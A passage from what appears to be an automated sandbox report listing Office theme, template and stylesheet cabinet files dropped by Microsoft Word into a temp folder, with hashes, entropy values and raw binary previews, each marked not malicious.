Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cab7F0F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cab7F30.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cab7F41.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cab7F42.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.786811461499414
Encrypted:	false
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqt:MlPfW6sVEDn/pPdhWnvGL36zyyq
MD5:	6CE7C136CA976F01314C83215558C821
SHA1:	307307A353E2DE8881466379B884042AD97D82AB
SHA-256:	7A9B8E681C120AA0A854B3FB3FA35B67D20C308CC593476313C8F7426F9F4FB8
SHA-512:	3EBFB310C3A70A3FE249A507FE4141DF6D19A5B3A4DE9E478F0A55B31901AA2776BBA0C03549306ED4C7996BE32A56DEC674364BAC9B9244174715E2EC4E7495
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cab7F43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cab7F44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cab7F66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.360413661549906
Encrypted:	false
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwX:mlZgFtIVVTuDExeWu
MD5:	555BDB3E059012609C94DC16689AE6B8
SHA1:	8E075F4593DD28414B8E9D3009CB359A1DB286E2
SHA-256:	86FC775290943173FA3DE5AC0EDA4029835F11ECC58E6F177434B0FDA9873B95
SHA-512:	26E1207C650C93C7F02107E0E0169595B1709E53EBF28CC5B09C2FACCC5340EC248A94EFD1DFAF11CE81CBE6BD91089B00E191590B58C6AE7596774CE4D7B078
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cab7F67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cab7F98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cab8028.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cab8058.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cab8089.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cab80AB.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cab80DB.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
